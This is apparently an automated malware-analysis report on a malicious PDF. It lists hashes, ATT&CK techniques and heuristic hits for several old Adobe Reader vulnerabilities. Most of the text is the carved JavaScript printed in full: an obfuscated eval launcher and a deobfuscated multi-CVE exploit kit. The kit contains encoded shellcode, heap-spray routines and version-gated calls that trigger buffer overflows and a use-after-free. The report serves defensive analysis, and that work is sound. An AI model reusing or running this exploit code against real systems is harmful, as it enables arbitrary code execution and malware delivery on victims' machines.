Malicious PDF — malware analysis report

Static analysis result for SHA-256 412428a7dd1ddc9e…

MALICIOUS

PDF

26.3 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 3e95cca13b1dfaae450f53c0480bbfad SHA-1: 9e65abe2afdb9f49643205c721b1af9a5724d40a SHA-256: 412428a7dd1ddc9e4830bca3d139f4fe9662fe086fc752446bd2b4a2cce8bda6
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell T1059.007 Command and Scripting Interpreter: JavaScript/TypeScript

The PDF contains embedded JavaScript, which is further obfuscated and utilizes an eval() call. This suggests the script is designed to download and execute a second-stage payload. The presence of obfuscation and eval() indicates a deliberate attempt to hide malicious functionality, likely for malware delivery. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      MaqygoRombxraqe=eval(NoxvaruZugaxugusoz.replace('CupeKigxe','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x6470 951 bytes
SHA-256: f6249d08e371e00b57132860e6a7ad3feaf12df0d990d647190b9dfbcd910a92
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var KesyvaRefidyc='';
var CupeKigxee=this.producer.substr(0,4);
for(var NoxvaruZugaxugusoz in this) {
	if (NoxvaruZugaxugusoz=='CupeKigxee')
		MaqygoRombxraqe=eval(NoxvaruZugaxugusoz.replace('CupeKigxe','')+'val');
}
NafahywYtuceruzgoku = MaqygoRombxraqe('new Date(2007,2,51,2,12,5)');
PojemMifmicu = 'thi'+NafahywYtuceruzgoku.getHours()+'ducer';
PmuCah=MaqygoRombxraqe(PojemMifmicu.replace(2,'s.pro'));
PmuCah = PmuCah.replace(/t/g,'2');
NojEd = PmuCah.substr(4).split('s');
var PaxazilahyMipufa = '';
g = NafahywYtuceruzgoku.getHours()*2;
var Rotpulaohuh = 'fro'+NafahywYtuceruzgoku.getHours()+'arCode';
Rotpulaohuh=Rotpulaohuh.replace(2,'mCh');
FyqogutadaqUgugjy=String[Rotpulaohuh];
for (NoxvaruZugaxugusoz = 0; NoxvaruZugaxugusoz < NojEd.length; NoxvaruZugaxugusoz++) {
	KerogEsmoquje = MaqygoRombxraqe(NojEd[NoxvaruZugaxugusoz]);
	PaxazilahyMipufa += FyqogutadaqUgugjy(KerogEsmoquje);
}
MaqygoRombxraqe(PaxazilahyMipufa);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3734 bytes
SHA-256: d45bc020d957e6d40bc026d2d4ff1be33e334db6a8179ee35ea115fbd25726f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u56B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u1034%uE2AA%uC3FA%uE5E8%uFFFF%uF9FF%u111C%u1010%u914E%u4CFC%u1011%u9910%u9DF7%u005F%u7F9D%u2144%u47CB%u4341%u4343%u4343%u4343%u4345%u7843%u1114%u1010%u4645%u7843%u7E7F%u1010%u6578%u7C62%u447D%u9E78%u1E5E%uF8FC%u1058%u1010%uF840%u106C%u1010%uC0EF%uD493%u7818%uFF5F%u155F%uF840%u107C%u1010%uC0EF%uD095%u0765%u447A%uE349%u78BA%uEE62%u06A3%u0DF8%u1010%u4010%u41F8%u1010%uEF10%u43C0%uEE7A%u9978%u117F%uF8AD%u1018%u1010%uF840%u102C%u1010%uC0EF%u2170%u74D0%u409B%u9B20%u1C42%u429B%u9B04%u3862%u08A9%u1010%u2110%u21EF%uBCD0%u712C%u126C%u303C%uDFD1%u111D%uF2D7%u91E0%u4BEF%u5AAC%u9B7A%u0052%u029B%uC965%u5499%u0C34%uD371%u9B70%u347C%u9B34%u2C55%u449B%u6815%uFA11%u5A9B%u9B08%u304A%uFB11%u24F3%u9B59%u9B24%uFE11%uEF21%uD021%uBCEC%uD094%u1764%uDFD1%u111D%uFBD7%u2BE4%u346C%u6538%u9BF1%u344A%uFB11%u9B76%u5B1C%u4A9B%u110C%u9BFB%u9B14%uF811%u5499%u0C34%uD271%u1018%uFFF8%uEFEE%u78EF%u6464%u2A60%u3F3F%u717E%u7E65%u7574%u7976%u757E%u3E74%u6A73%u733E%u3F73%u657F%u3E64%u7860%u2F60%u2D71%u4141%u567B%u7752%u5320%u5154%u5320%u5151%u525D%u7B55%u5A73%u5152%u2D2D%u6036%u272D%u0010';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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